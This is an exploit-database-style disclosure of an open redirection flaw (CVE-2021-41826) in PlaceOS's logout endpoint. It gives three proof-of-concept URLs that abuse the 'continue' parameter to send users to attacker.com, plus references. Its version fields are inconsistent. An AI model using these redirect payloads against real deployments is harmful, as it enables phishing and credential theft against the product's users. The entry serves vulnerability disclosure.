# Exploit Title: PlaceOS 1.2109.1 - Open Redirection # Date: 29-09-2021 # Exploit Author: Hamza Khedr @ Accenture Austalia AARO Team # Vendor Homepage: https://place.technology/ # Software Link: https://github.com/PlaceOS # Version: < 1.29.10 # Tested on: Ubuntu 20.04 # CVE: CVE-2021-41826 # # # PoC: "https://office.example.com/auth/logout?continue=//attacker.com" # "https://office.example.com/auth/logout?continue=.attacker.com" # "https://office.example.com/auth/logout?continue=:password@attacker.com" # # # Reference: https://github.com/PlaceOS/auth/issues/36 # https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41826 # https://nvd.nist.gov/vuln/detail/CVE-2021-41826